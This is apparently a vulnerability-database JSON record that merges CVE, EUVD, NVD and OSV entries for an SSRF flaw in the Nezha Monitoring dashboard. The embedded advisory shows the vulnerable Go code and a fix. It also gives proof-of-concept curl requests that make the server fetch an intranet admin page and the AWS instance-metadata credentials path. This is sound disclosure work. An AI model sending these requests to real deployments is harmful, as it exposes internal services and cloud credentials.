{"id":"EUVD-2026-36592","revision":null,"records":[{"revision":"8b92efd3421b41b1adafdbe46c986d2f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46717","aliases":[],"title":"Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification","description":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response. This issue has been patched in version 2.0.8.","state":0,"publishedAt":"2026-06-12T21:02:40.951+00:00","modifiedAt":"2026-06-13T03:38:33.513+00:00","affected":[{"ecosystem":"Vendor product","name":"nezha","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nezhahq\",\n                    \"product\": \"nezha\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.4.0, < 2.0.8\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46717","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46717","identifiers":["CVE-2026-46717"]},"retained":false,"historicalAffected":[]},{"revision":"03820f2d006c43daaefdf9b10345a942","observedAt":"2026-11-07T10:39:35.021+00:00","statement":{"source":"euvd","id":"EUVD-2026-36592","aliases":["CVE-2026-46717","GHSA-w4g9-mxgg-j532"],"title":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notific…","description":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response. This issue has been patched in version 2.0.8.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":null}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36592","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 12, 2026, 9:02:40 PM","dateUpdated":"Jun 13, 2026, 3:38:33 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36592","identifiers":["EUVD-2026-36592","CVE-2026-46717","GHSA-w4g9-mxgg-j532"]},"retained":false,"historicalAffected":[]},{"revision":"60c1c0d3a87f4b97b59c2246e86d8d4b","observedAt":"2026-10-27T13:11:40.402+00:00","statement":{"source":"nvd","id":"CVE-2026-46717","aliases":[],"title":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notific…","description":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response. This issue has been patched in version 2.0.8.","state":0,"publishedAt":"2026-06-12T22:16:50.957+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46717","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-863","CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-06-12T22:16:50.957","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46717","identifiers":["CVE-2026-46717"]},"retained":false,"historicalAffected":[]},{"revision":"a9c5e7c0c89b4edcab6a29f8135f7035","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-w4g9-mxgg-j532","aliases":["CVE-2026-46717","GO-2026-5687"],"title":"Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification","description":"## Summary\n\nnezha's dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are wired through `commonHandler` rather than `adminHandler` — so a `RoleMember` user can call them. These handlers synchronously `Send()` an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.\n\nNet effect: a low-privilege `RoleMember` can read intranet HTTP response bodies via the dashboard's hub.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## Reachability chain\n\n```\ncmd/dashboard/controller/controller.go:121-122\n    auth.GET(\"/notification\", listHandler(listNotification))\n    auth.POST(\"/notification\", commonHandler(createNotification))   // <-- commonHandler, not adminHandler\n```\n\nFor comparison, `/user` routes ARE gated by `adminHandler`:\n\n```\nauth.GET(\"/user\", adminHandler(listUser))\nauth.POST(\"/user\", adminHandler(createUser))\nauth.POST(\"/batch-delete/user\", adminHandler(batchDeleteUser))\n```\n\n`adminHandler` (controller.go:220-236) explicitly enforces `user.Role.IsAdmin()`. `commonHandler` (controller.go:214-218) does not.\n\n## The vulnerable handler\n\n```go\n// cmd/dashboard/controller/notification.go:46-83\nfunc createNotification(c *gin.Context) (uint64, error) {\n    var nf model.NotificationForm\n    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }\n    var n model.Notification\n    n.UserID = getUid(c)\n    n.Name = nf.Name\n    n.RequestMethod = nf.RequestMethod\n    n.RequestType = nf.RequestType\n    n.RequestHeader = nf.RequestHeader\n    n.RequestBody = nf.RequestBody\n    n.URL = nf.URL\n    ...\n    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}\n    if !nf.SkipCheck {\n        if err := ns.Send(singleton.Localizer.T(\"a test message\")); err != nil {\n            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse\n        }\n    }\n    ...\n}\n```\n\nIdentical pattern in `updateNotification` (PATCH /notification/:id) at lines 97-146.\n\n## The reflection sink\n\n```go\n// model/notification.go:113-159\nfunc (ns *NotificationServerBundle) Send(message string) error {\n    var client *http.Client\n    n := ns.Notification\n    if n.VerifyTLS != nil && *n.VerifyTLS {\n        client = utils.HttpClient\n    } else {\n        client = utils.HttpClientSkipTlsVerify\n    }\n    reqBody, err := ns.reqBody(message)\n    if err != nil { return err }\n    reqMethod, err := n.reqMethod()\n    if err != nil { return err }\n    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))\n    if err != nil { return err }\n    n.setContentType(req)\n    if err := n.setRequestHeader(req); err != nil { return err }\n    resp, err := client.Do(req)\n    if err != nil { return err }\n    defer func() { _ = resp.Body.Close() }()\n    if resp.StatusCode < 200 || resp.StatusCode > 299 {\n        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader\n        return fmt.Errorf(\"%d@%s %s\", resp.StatusCode, resp.Status, string(body))\n    } else {\n        _, _ = io.Copy(io.Discard, resp.Body)\n    }\n    return nil\n}\n```\n\nThe full body (no size limit) is concatenated into an error string. That error flows through `commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...)`. The intranet response body is JSON-encoded back to the `RoleMember` caller.\n\nAdditional wrinkle: `client = utils.HttpClientSkipTlsVerify` when `VerifyTLS` is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.\n\n## PoC\n\n### A. Read intranet admin-panel response body\n\n```bash\ncurl -X POST -H \"Authorization: Bearer <member-jwt>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"x\",\"url\":\"http://192.168.1.1/admin/index.html\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}' \\\n  http://nezha-dashboard.example.com/api/v1/notification\n```\n\nResponse:\n```json\n{\"success\":false,\"error\":\"401@Unauthorized <full HTML body of the admin login page, no size limit>\"}\n```\n\n### B. AWS IMDSv2 reachability + body leak\n\n```bash\ncurl -X POST -H \"Authorization: Bearer <member-jwt>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"x\",\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}' \\\n  http://nezha-dashboard.example.com/api/v1/notification\n```\n\nIMDSv2 returns 401 with a body explaining the missing token; that body is reflected.\n\n### C. DoS via large internal file\n\nBecause the body is read via unbounded `io.ReadAll`, a `RoleMember` pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.\n\n## Suggested fix\n\n1. **Switch /notification routes to `adminHandler`.** Same fix for `/alert-rule`, `/cron`, `/ddns` if they also issue user-URL requests synchronously. Compare with how `/user` is already guarded.\n\n   ```go\n   auth.POST(\"/notification\", adminHandler(createNotification))\n   auth.PATCH(\"/notification/:id\", adminHandler(updateNotification))\n   ```\n\n2. **SSRF-harden `NotificationServerBundle.Send()`:**\n   - Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT.\n   - Pin `http.Transport.DialContext` to the resolved IP — closes DNS-rebinding TOCTOU.\n   - Refuse non-http(s) schemes.\n\n3. **Cap response body**: `io.LimitReader(resp.Body, 4096)`. 4 KB is plenty for surfacing webhook errors.\n\n4. **Reconsider `VerifyTLS=false` toggle on RoleMember-reachable paths** — if the route remains member-reachable, at minimum cert validation should be enforced.\n\n## Severity\n\n- **CVSS 3.1:** Medium — `AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L` ≈ 6.4. PR:L because attacker needs a `RoleMember` account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha:v0.x` (commit `50dc8e660326b9f22990898142c58b7a5312b42a`).\n- Code locations:\n  - Handler: `cmd/dashboard/controller/notification.go:46-83, 97-146`\n  - Sink: `model/notification.go:113-159`\n  - Auth gate: `cmd/dashboard/controller/controller.go:121-122` (commonHandler), 214-236 (handler defs)\n\n## Reporter\n\nEddie Ran. Filed via reporter API (PVR enabled). nezha's `SECURITY.md` mentions email `hi@nai.ba` for vulnerability reports — happy to also send via email if the maintainer prefers.","state":0,"publishedAt":"2026-05-23T00:08:04+00:00","modifiedAt":"2026-06-26T21:45:24.3361021+00:00","affected":[{"ecosystem":"Go","name":"github.com/nezhahq/nezha","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.4.0"},{"kind":"fixed","version":"1.14.15-0.20260517022419-d06d539d34c1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532","https://nvd.nist.gov/vuln/detail/CVE-2026-46717","https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405","https://github.com/nezhahq/nezha"],"sourceUrl":"https://github.com/advisories/GHSA-w4g9-mxgg-j532","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-w4g9-mxgg-j532","identifiers":["GHSA-w4g9-mxgg-j532","CVE-2026-46717","GO-2026-5687"]},"retained":false,"historicalAffected":[]},{"revision":"55f201851ec949fbb3378353eb570805","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5687","aliases":["CVE-2026-46717","GHSA-w4g9-mxgg-j532"],"title":"Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification in github.com/nezhahq/nezha","description":"Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification in github.com/nezhahq/nezha","state":0,"publishedAt":"2026-06-25T22:34:38+00:00","modifiedAt":"2026-06-25T23:01:40.0488715+00:00","affected":[{"ecosystem":"Go","name":"github.com/nezhahq/nezha","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.4.0"},{"kind":"fixed","version":"1.14.15-0.20260517022419-d06d539d34c1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532","https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5687","license":"OSV · upstream source license applies","key":"osv:GO-2026-5687","identifiers":["GO-2026-5687","CVE-2026-46717","GHSA-w4g9-mxgg-j532"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.014368+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.014369+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-aac6631b84e101279eb6b1c3835f52bf7b26c50f4d25bc0fb35977235593f4a7","complete":true,"records":420943,"lastAttemptAt":"2026-11-07T20:07:23.1739993+00:00","lastSuccessAt":"2026-11-07T20:07:23.0712879+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.1739993+00:00","snapshotPublishedAt":"2026-11-07T19:18:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5a2504558b549559b8658a653596391","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T20:19:26.3099435+00:00","lastSuccessAt":"2026-11-07T20:19:26.304+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:19:26.304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.0152025+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.0152028+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-191690d52ba04a91b1a2749fa6191ceb","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:07:42.8841875+00:00","lastSuccessAt":"2026-11-07T20:07:42.881+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:42.881+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:07:23.800032+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.800032+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:07:23.2420378+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.2420378+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:07:23.8227715+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.8227715+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:07:23.4659623+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.4659623+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}